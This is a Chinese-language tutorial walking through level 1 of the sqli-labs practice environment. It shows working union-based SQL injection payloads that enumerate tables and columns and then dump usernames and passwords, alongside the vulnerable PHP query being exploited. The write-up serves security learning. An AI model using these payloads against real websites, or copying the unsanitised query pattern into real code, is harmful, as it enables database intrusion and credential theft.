SQL注入实战系列之sqli靶场第一关

Sqli-less1:

打开sqli环境第一关(Less-1):
SQL注入实战系列之sqli靶场第一关_第1张图片
在链接Less-1/后面添加?id=1,然后回车即可;
SQL注入实战系列之sqli靶场第一关_第2张图片
添加?id=1后发现有了新的内容,在id=1后面加个单引号(')查看返回的内容;
SQL注入实战系列之sqli靶场第一关_第3张图片
发现返回了SQL语句的报错信息,从这个界面报错中可以得知这里是存在注入(现实中基本不会返回信息,这个我们将在后面接触),此处的id参数满足注入攻击的两个条件,id的参数用户可以控制,并且这个参数会带入数据库中执行。
为什么在id后面添加一个单引号就可以判断该处存在注入呢,我们可以来看看源代码,解析下;
SQL注入实战系列之sqli靶场第一关_第4张图片
从源代码中发现,链接中的id参数查询语句为SELECT * FROM users WHERE id='$id' LIMIT 0,1,其中$id为我们输入的参数,当我们在链接中构造?id=1'是其实执行了源代码中的sql查询语句,此时的sql语句为:

$sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1"

通过加单引号可以干扰其无法执行sql语句导致报错,以此返回了我们看到的报错信息;
ok,当知道id存在注入后,下面需要猜测字段了,需要猜测这个数据库是多少个字段的,由于此处是MySQL数据库,所以使用order by命令进行字段的猜测,后期会有其它数据库猜测操作;
使用order by猜测字段的时候,先用大数字然后在用二分法判断(如,先来个10,如果不是10再猜5,如果不是5就猜2或3以此类推)
先来猜测10个字段,看看返回的内容是什么;
输入内容为:?id=1' order by 10;--+
SQL注入实战系列之sqli靶场第一关_第5张图片

注意,在用order by时最好在后面添加sql的注释符,常用;--+(–后面要跟一个空格,或者使用--+,+在url中代表空格)或#
当使用?id=1' order by 10;--+时,源码中的sql语句改变为:

$sql="SELECT * FROM users WHERE id='1' order by 10;-- ' LIMIT 0,1"

从上面的sql查询内容中可以得知,通过注释符号可以注释后面的' LIMIT 0,1,以免产生报错;
当我们查询的字段为10时,发现返回的报错了,说明第10列第内容未知,说明没有表内的内容没有这么多字段,可以理解成表中的内容没有10列;
下面我们就可以使用刚说的2分法,把10修改成5,如果5不成就修改为2或3;
SQL注入实战系列之sqli靶场第一关_第6张图片
当我们查询到3的时候,发现其返回了正常页面,说明表中起码有3个字段(数据为3列),为了判断是否为3个字段,可以输入4看看返回的内容;
SQL注入实战系列之sqli靶场第一关_第7张图片
可以从返回内容发现,当我们查询4个字段时,发生了报错,说明该表的内容为3个字段(数据为3列),我们可以在其数据库内查看是否为3个字段;

select * from users where id='1';

SQL注入实战系列之sqli靶场第一关_第8张图片
可以发现该表的确为3个字段,现在我们通过order by查询出了该表有3个字段,当我们知道其字段数后,下面就可以使用union select联合查询获取其数据库信息;
当我们知道其表为3列后,即可使用sql的联合查询对其数据库进行命令操作,构造查询payload:

?id=-1' union select 1,2,3

select后面的1,2,3是获得的字段数(上面通过order by查出了表的字段为3,),注意这里的id=-1而不是为1,为何为-1内,我们通过mysql命令操作来解释:
SQL注入实战系列之sqli靶场第一关_第9张图片
从命令返回的内容可以发现,union操作是把select语句的结果合并到一个结果集中,第一个select我们查询了users表中id为1的内容,第二个select,我们在第三列中查询了mysql的版本号,如果我们在url中的输入的是id=1',那么页面返回到内容也是第一次select查询的内容;
SQL注入实战系列之sqli靶场第一关_第10张图片
故我们需要让其id值不存在,让其现实第二个select查询的内容;
SQL注入实战系列之sqli靶场第一关_第11张图片
页面返回内容:
SQL注入实战系列之sqli靶场第一关_第12张图片
由此,我们成功执行了数据库命令;
mysql常用函数:

version() 数据库版本
user() 数据库用户名
database() 数据库名

查询一下数据库名和数据库用户名;

?id=-1' union select 1,user(),database();--+

SQL注入实战系列之sqli靶场第一关_第13张图片
此时源码中的sql查询语句为:

$sql="SELECT * FROM users WHERE id='-1' union select 1,user(),database();-- ' LIMIT 0,1"

SQL注入实战系列之sqli靶场第一关_第14张图片
构造payload查询表名;

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();--+

SQL注入实战系列之sqli靶场第一关_第15张图片
此时sql查询语句内容为:

$sql="SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();-- ' LIMIT 0,1"

SQL注入实战系列之sqli靶场第一关_第16张图片
构造的payload中,group_concat()是mysql的一个分组合并函数,通过这个函数可以把查询出来的表合并到一起现实,如果没有该函数,那么返回的内容如下:
SQL注入实战系列之sqli靶场第一关_第17张图片
SQL注入实战系列之sqli靶场第一关_第18张图片
如果没有该函数,那么查询的内容将是多行,网页上面无法显示完整,故需要使用该函数;
其中的information_schema为MySQl默认数据库,里面存放着所有数据库的信息(比如表名、 列名、对应权限等),通过这个数据库,我们就可以跨库查询,爆表爆列;
其中table_name为表名,table_schema为表所有者,如果要查询列名可以用column_name
当我们知道表名后就可以查表中的列名及内容;
查表内容,当然是要查询users表中的内容了,构造payload;

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';--+

SQL注入实战系列之sqli靶场第一关_第19张图片
此时sql查询语句内容为:

$sql="SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database();-- ' LIMIT 0,1"

SQL注入实战系列之sqli靶场第一关_第20张图片
成功获取其users表中的列名,从列名中发现了usernamepassword,嘿嘿,下面你懂的;
对这两个列的字段内容进行查看,构造payload;

?id=-1' union select 1,2,group_concat(username,0x3a,password) from users;--+

SQL注入实战系列之sqli靶场第一关_第21张图片
此时sql查询语句内容为:

$sql="SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(username,0x3a,password) from users;-- ' LIMIT 0,1"

SQL注入实战系列之sqli靶场第一关_第22张图片
其中0x3a主要是为了让用户名和密码通过冒号分割开来以便区分,0x为16进制标志,3a十六进制代表ascii码中的:,通过添加冒号更好区分用户名和密码,通过查询usernamepassword成功获取用户名及密码。
如果不是0x3a来区分,你会获取下面一个头大的内容:
SQL注入实战系列之sqli靶场第一关_第23张图片
由此第一关闯关成功,hava a goog fun~~

内容持续更新中!!!!敬请期待!!!!

好好学习,天天向上

你可能感兴趣的:(SQL注入,WEB安全)